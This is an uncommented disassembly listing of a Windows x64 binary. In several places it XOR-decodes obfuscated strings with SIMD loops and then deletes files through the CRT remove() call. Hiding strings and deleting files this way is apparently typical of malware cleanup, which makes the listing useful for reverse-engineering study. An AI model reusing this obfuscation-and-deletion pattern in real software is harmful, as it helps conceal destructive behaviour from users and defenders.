cmp rdx, 0x10
jb 0x140018a71
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018a6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001926c
call fcn.14007e7bc
movups xmm0, xmmword [0x140092000]
movups xmmword [rbp + 0x1c8], xmm0
movups xmm1, xmmword [0x140092010]
movups xmmword [rbp + 0x1d8], xmm1
movsd xmm0, qword [str.8:73v____]
movsd qword [rbp + 0x1e8], xmm0
movzx eax, byte [0x140092028]
mov byte [rbp + 0x1f0], al
mov r8d, r14d
cmp esi, 2
jl 0x140018bfc
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1cc]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140018af1
cmp r8d, 0x29
jge 0x140018c3f
movsxd rax, r8d
lea r9, [rbp + 0x1c8]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140018c10
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x1c8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140018c60
lea rdx, [rbp + 0x1c8]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x140092000]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [0x140092010]
movups xmmword [rbp + 0x230], xmm1
movsd xmm0, qword [str.8:73v____]
movsd qword [rbp + 0x240], xmm0
movzx eax, byte [0x140092028]
mov byte [rbp + 0x248], al
mov r8d, r14d
cmp esi, 2
jl 0x140018e1b
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x224]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140018d10
cmp r8d, 0x29
jge 0x140018e5f
movsxd rax, r8d
lea r9, [rbp + 0x220]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140018e30
lea rcx, [rbp + 0x220]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x140092af8]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm1, xmmword [0x140092b08]
movups xmmword [rbp + 0x3d0], xmm1
movups xmm0, xmmword [str.0::5_t649__N]
movups xmmword [rbp + 0x3e0], xmm0
movzx eax, byte [0x140092b28]
mov byte [rbp + 0x3f0], al
mov r8d, r14d
cmp esi, 2
jl 0x140018ffb
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3c4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140018ef0
cmp r8d, 0x31
jge 0x14001903f
movsxd rax, r8d
lea r9, [rbp + 0x3c0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140019010
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x1400922e0]
movups xmmword [rbp + 0x398], xmm0
movups xmm1, xmmword [0x1400922f0]
movups xmmword [rbp + 0x3a8], xmm1
movsd xmm0, qword [str._.y____TESPVW]
movsd qword [rbp + 0x3b8], xmm0
mov r8d, r14d
cmp esi, 2
jl 0x1400191c7
movdqa xmm5, xmmword [0x140092da0]
mov edx, r14d
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x39c]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x1400190c3
jmp 0x140019202
lea r9, [rbp + 0x398]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x1400191d0
lea rcx, [rbp + 0x398]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp + 0x488]
cmp rdx, 0x10
jb 0x140015fb0
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019254
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019273
call fcn.14007e7bc
jmp 0x140015fb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140013dc0
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3